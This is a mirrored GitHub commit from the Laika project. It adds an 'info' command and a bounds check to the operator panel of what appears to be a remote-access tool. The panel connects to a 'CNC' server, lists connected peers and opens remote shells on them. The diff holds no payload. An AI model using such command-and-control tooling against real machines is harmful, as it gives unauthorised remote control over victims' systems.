1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-22 04:50:06 +00:00

Added info command, better sanity check for shellS_getPeer()

This commit is contained in:
CPunch 2022-03-25 22:11:15 -05:00
parent dd9cb2af00
commit e2e25f5a49
2 changed files with 22 additions and 10 deletions

View File

@ -13,7 +13,7 @@ int main(int argv, char *argc[]) {
bool printPrompt = false; bool printPrompt = false;
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE)); shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
shellT_printf("\t made with %s<3%s by CPunch - %s\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR)); shellT_printf("\t made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
shellC_init(&client); shellC_init(&client);
shellC_connectToCNC(&client, "127.0.0.1", "13337"); shellC_connectToCNC(&client, "127.0.0.1", "13337");

View File

@ -20,7 +20,7 @@ jmp_buf cmdE_err;
tShell_cmdDef *shellS_findCmd(char *cmd); tShell_cmdDef *shellS_findCmd(char *cmd);
tShell_peer *shellS_getPeer(tShell_client *client, int id) { tShell_peer *shellS_getPeer(tShell_client *client, int id) {
if (id >= client->peerTblCount || client->peerTbl[id] == NULL) if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL)
CMD_ERROR("Not a valid peer ID! [%d]\n", id); CMD_ERROR("Not a valid peer ID! [%d]\n", id);
return client->peerTbl[id]; return client->peerTbl[id];
@ -39,21 +39,33 @@ void quitCMD(tShell_client *client, int args, char *argc[]) {
laikaS_kill(&client->peer->sock); laikaS_kill(&client->peer->sock);
} }
void listPeers(tShell_client *client, int args, char *argc[]) { void listPeersCMD(tShell_client *client, int args, char *argc[]) {
int i; int i;
shellT_printf("\n");
for (i = 0; i < client->peerTblCount; i++) { for (i = 0; i < client->peerTblCount; i++) {
if (client->peerTbl[i]) { if (client->peerTbl[i]) {
shellT_printf("%04d ", i); shellT_printf("%04d ", i);
shellP_printInfo(client->peerTbl[i]); shellP_printInfo(client->peerTbl[i]);
shellT_printf("\n");
} }
} }
shellT_printf("\n");
} }
void openShell(tShell_client *client, int args, char *argc[]) { void infoCMD(tShell_client *client, int args, char *argc[]) {
tShell_peer *peer;
int id;
if (args < 2)
CMD_ERROR("Usage: info [PEER_ID]\n");
id = shellS_readInt(argc[1]);
peer = shellS_getPeer(client, id);
/* print info */
shellT_printf("%04d ", id);
shellP_printInfo(peer);
}
void openShellCMD(tShell_client *client, int args, char *argc[]) {
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH]; uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
tShell_peer *peer; tShell_peer *peer;
int id, sz, cols, rows; int id, sz, cols, rows;
@ -100,8 +112,9 @@ void openShell(tShell_client *client, int args, char *argc[]) {
tShell_cmdDef shellS_cmds[] = { tShell_cmdDef shellS_cmds[] = {
CREATECMD("help", "Lists avaliable commands", helpCMD), CREATECMD("help", "Lists avaliable commands", helpCMD),
CREATECMD("quit", "Disconnects from CNC, closing panel", quitCMD), CREATECMD("quit", "Disconnects from CNC, closing panel", quitCMD),
CREATECMD("list", "Lists all connected peers to CNC", listPeers), CREATECMD("list", "Lists all connected peers to CNC", listPeersCMD),
CREATECMD("shell", "Opens a shell on peer", openShell), CREATECMD("info", "Lists info on a peer", infoCMD),
CREATECMD("shell", "Opens a shell on peer", openShellCMD),
}; };
#undef CREATECMD #undef CREATECMD
@ -174,7 +187,6 @@ void shellS_runCmd(tShell_client *client, char *cmd) {
if (setjmp(cmdE_err) == 0) { if (setjmp(cmdE_err) == 0) {
cmdDef->callback(client, args, argc); cmdDef->callback(client, args, argc);
} }
shellT_printf("\n");
/* free our argument buffer */ /* free our argument buffer */
laikaM_free(argc); laikaM_free(argc);